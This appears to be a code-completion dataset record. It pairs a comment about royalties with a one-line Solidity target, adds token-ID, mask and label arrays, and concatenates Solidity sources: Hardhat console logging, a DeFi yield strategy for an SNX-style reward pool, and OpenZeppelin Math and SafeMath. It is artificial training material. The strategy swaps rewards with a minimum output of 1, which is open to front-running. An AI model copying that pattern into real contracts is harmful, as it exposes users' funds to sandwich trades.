_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } }
100% of royalty goes to defined address above.
result[0].value = 10000;
10,289,842
[ 1, 6625, 9, 434, 721, 93, 15006, 13998, 358, 2553, 1758, 5721, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 563, 63, 20, 8009, 1132, 273, 12619, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.16; import "../snx-base/interfaces/SNXRewardInterface.sol"; import "../snx-base/SNXRewardStrategy.sol"; contract GamestopStrategyMainnet_ESD is SNXRewardStrategy { address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public esd = address(0x36F3FD68E7325a35EB768F1AedaAe9EA0689d723); address public gme = address(0x9eb6bE354d88fD88795a04DE899a57A77C545590); address public gamestopRewardPool = address(0x466837EDC9411D8ea334e62AdBd1E9d18fBdb5d4); address public constant uniswapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); constructor( address _storage, address _vault ) SNXRewardStrategy(_storage, esd, _vault, gme, uniswapRouterAddress) public { rewardPool = SNXRewardInterface(gamestopRewardPool); liquidationPath = [gme, weth, esd]; } } pragma solidity 0.5.16; interface SNXRewardInterface { function withdraw(uint) external; function getReward() external; function stake(uint) external; function balanceOf(address) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/SNXRewardInterface.sol"; import "../StrategyBase.sol"; import "../interface/uniswap/IUniswapV2Router02.sol"; import "hardhat/console.sol"; contract SNXRewardStrategy is StrategyBase { using SafeMath for uint256; using SafeERC20 for IERC20; bool pausedInvesting = false; // When this flag is true, the strategy will not be able to invest. But users should be able to withdraw. SNXRewardInterface public rewardPool; address public rewardToken; address[] public liquidationPath; // This is only used in `investAllUnderlying()` // The user can still freely withdraw from the strategy modifier onlyNotPausedInvesting() { require(!pausedInvesting, "Action blocked as the strategy is in emergency state"); _; } constructor( address _storage, address _underlying, address _vault, address _rewardToken, address _uniswapRouterAddress ) StrategyBase(_storage, _underlying, _vault, _rewardToken, _uniswapRouterAddress) public { rewardToken = _rewardToken; } function depositArbCheck() public view returns(bool) { return true; } /* * In case there are some issues discovered about the pool or underlying asset * Governance can exit the pool properly * The function is only used for emergency to exit the pool */ function emergencyExit() public onlyGovernance { rewardPool.exit(); pausedInvesting = true; } /* * Resumes the ability to invest into the underlying reward pools */ function continueInvesting() public onlyGovernance { pausedInvesting = false; } /** * Sets the route for liquidating the reward token to the underlying token */ function setLiquidationPath(address[] memory _newPath) public onlyGovernance { liquidationPath = _newPath; } // We assume that all the tradings can be done on Uniswap function _liquidateReward() internal { uint256 rewardAmount = IERC20(rewardToken).balanceOf(address(this)); if (rewardAmount > 0 // we have tokens to swap && liquidationPath.length > 1 // and we have a route to do the swap ) { notifyProfitInRewardToken(rewardAmount); rewardAmount = IERC20(rewardToken).balanceOf(address(this)); // we can accept 1 as minimum because this is called only by a trusted role uint256 amountOutMin = 1; IERC20(rewardToken).safeApprove(uniswapRouterV2, 0); IERC20(rewardToken).safeApprove(uniswapRouterV2, rewardAmount); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( rewardAmount, amountOutMin, liquidationPath, address(this), block.timestamp ); } } /* * Stakes everything the strategy holds into the reward pool */ function investAllUnderlying() internal onlyNotPausedInvesting { // this check is needed, because most of the SNX reward pools will revert if // you try to stake(0). uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(underlyingBalance > 0) { IERC20(underlying).safeApprove(address(rewardPool), 0); IERC20(underlying).safeApprove(address(rewardPool), underlyingBalance); rewardPool.stake(underlyingBalance); } } /* * Withdraws all the asset to the vault */ function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } /* * Withdraws all the asset to the vault */ function withdrawToVault(uint256 amount) public restricted { // Typically there wouldn't be any amount here // however, it is possible because of the emergencyExit uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(amount > underlyingBalance){ // While we have the check above, we still using SafeMath below // for the peace of mind (in case something gets changed in between) uint256 needToWithdraw = amount.sub(underlyingBalance); rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw)); } IERC20(underlying).safeTransfer(vault, amount); } /* * Note that we currently do not have a mechanism here to include the * amount of reward that is accrued. */ function investedUnderlyingBalance() external view returns (uint256) { if (address(rewardPool) == address(0)) { return IERC20(underlying).balanceOf(address(this)); } // Adding the amount locked in the reward pool and the amount that is somehow in this contract // both are in the units of "underlying" // The second part is needed because there is the emergency exit mechanism // which would break the assumption that all the funds are always inside of the reward pool return rewardPool.balanceOf(address(this)).add(IERC20(underlying).balanceOf(address(this))); } /* * Governance or Controller can claim coins that are somehow transferred into the contract * Note that they cannot come in take away coins that are used and defined in the strategy itself * Those are protected by the "unsalvagableTokens". To check, see where those are being flagged. */ function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { // To make sure that governance cannot come in and take away the coins require(!unsalvagableTokens[token], "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } /* * Get the reward, sell it in exchange for underlying, invest what you got. * It's not much, but it's honest work. * * Note that although `onlyNotPausedInvesting` is not added here, * calling `investAllUnderlying()` affectively blocks the usage of `doHardWork` * when the investing is being paused by governance. */ function doHardWork() external onlyNotPausedInvesting restricted { rewardPool.getReward(); _liquidateReward(); investAllUnderlying(); } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. 